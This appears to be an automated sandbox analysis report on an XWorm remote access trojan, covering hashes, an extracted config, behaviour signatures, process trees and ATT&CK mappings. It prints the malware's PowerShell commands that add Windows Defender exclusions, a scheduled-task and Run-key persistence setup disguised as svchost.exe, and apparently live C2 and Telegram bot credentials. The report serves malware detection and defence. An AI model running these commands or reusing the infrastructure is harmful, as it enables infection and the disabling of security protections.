xworm | e21ea01c076378885e08f0c906e80924ba54db15f3b308f78734d654b958fd21

General

Target

XגדשClient.exe
Size

68KB
MD5

138dec9a09b140cafdc7e3b38c6e50c9
SHA1

90e7d8b8020c20a763fd88ebae97959452863dae
SHA256

e21ea01c076378885e08f0c906e80924ba54db15f3b308f78734d654b958fd21
SHA512

23c6c9710e3cacadc1ff8f58cc7995d8a9ab293572ad02cc1484a87179aad056ce6a54e9f4a7f0957a7516222bf4ef5eaa3fb9fc19e22d130e59e7dadb27b6f5
SSDEEP

1536:Z3UR+N6zqB4bldfIkb3ACWfL6div9ZRyO00SHgJas:ZDN6zTrIkb3Anf8iYO1agJ9

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

sponef159-35748.portmap.host:7809

Attributes

Install_directory
%AppData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot7508868671:AAG6XIOhz39IrQIUnjub1TKVOVZHfdjpsvM/sendMessage?chat_id=6094400048

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/memory/840-1-0x0000000000B90000-0x0000000000BA8000-memory.dmp	family_xworm
behavioral1/files/0x000700000001e762-57.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2624	powershell.exe
4280	powershell.exe
4020	powershell.exe
2376	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	XגדשClient.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	XגדשClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	XגדשClient.exe

Executes dropped EXE 3 IoCs

pid	Process
5012	svchost.exe
4980	svchost.exe
352	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	XגדשClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4744	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2624	powershell.exe
2624	powershell.exe
4280	powershell.exe
4280	powershell.exe
4020	powershell.exe
4020	powershell.exe
2376	powershell.exe
2376	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	840	XגדשClient.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	4280	powershell.exe
Token: SeDebugPrivilege	4020	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	840	XגדשClient.exe
Token: SeDebugPrivilege	5012	svchost.exe
Token: SeDebugPrivilege	4980	svchost.exe
Token: SeDebugPrivilege	352	svchost.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 840 wrote to memory of 2624	840	XגדשClient.exe	84
PID 840 wrote to memory of 2624	840	XגדשClient.exe	84
PID 840 wrote to memory of 4280	840	XגדשClient.exe	86
PID 840 wrote to memory of 4280	840	XגדשClient.exe	86
PID 840 wrote to memory of 4020	840	XגדשClient.exe	88
PID 840 wrote to memory of 4020	840	XגדשClient.exe	88
PID 840 wrote to memory of 2376	840	XגדשClient.exe	90
PID 840 wrote to memory of 2376	840	XגדשClient.exe	90
PID 840 wrote to memory of 4744	840	XגדשClient.exe	96
PID 840 wrote to memory of 4744	840	XגדשClient.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XגדשClient.exe
"C:\Users\Admin\AppData\Local\Temp\XגדשClient.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XגדשClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XגדשClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4744

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5012

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4980

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ba169f4dcbbf147fe78ef0061a95e83b

SHA1
92a571a6eef49fff666e0f62a3545bcd1cdcda67

SHA256
5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

SHA512
8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
15dde0683cd1ca19785d7262f554ba93

SHA1
d039c577e438546d10ac64837b05da480d06bf69

SHA256
d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961

SHA512
57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33igaqbf.k34.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
68KB

MD5
138dec9a09b140cafdc7e3b38c6e50c9

SHA1
90e7d8b8020c20a763fd88ebae97959452863dae

SHA256
e21ea01c076378885e08f0c906e80924ba54db15f3b308f78734d654b958fd21

SHA512
23c6c9710e3cacadc1ff8f58cc7995d8a9ab293572ad02cc1484a87179aad056ce6a54e9f4a7f0957a7516222bf4ef5eaa3fb9fc19e22d130e59e7dadb27b6f5

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memory/840-56-0x00007FF8AC370000-0x00007FF8ACE31000-memory.dmp

Filesize
10.8MB

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memory/840-0-0x00007FF8AC373000-0x00007FF8AC375000-memory.dmp

Filesize
8KB

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memory/840-59-0x00007FF8AC370000-0x00007FF8ACE31000-memory.dmp

Filesize
10.8MB

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memory/840-1-0x0000000000B90000-0x0000000000BA8000-memory.dmp

Filesize
96KB

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memory/2624-17-0x00007FF8AC370000-0x00007FF8ACE31000-memory.dmp

Filesize
10.8MB

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memory/2624-14-0x00007FF8AC370000-0x00007FF8ACE31000-memory.dmp

Filesize
10.8MB

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memory/2624-13-0x00007FF8AC370000-0x00007FF8ACE31000-memory.dmp

Filesize
10.8MB

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memory/2624-12-0x00007FF8AC370000-0x00007FF8ACE31000-memory.dmp

Filesize
10.8MB

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memory/2624-7-0x000001BE745F0000-0x000001BE74612000-memory.dmp

Filesize
136KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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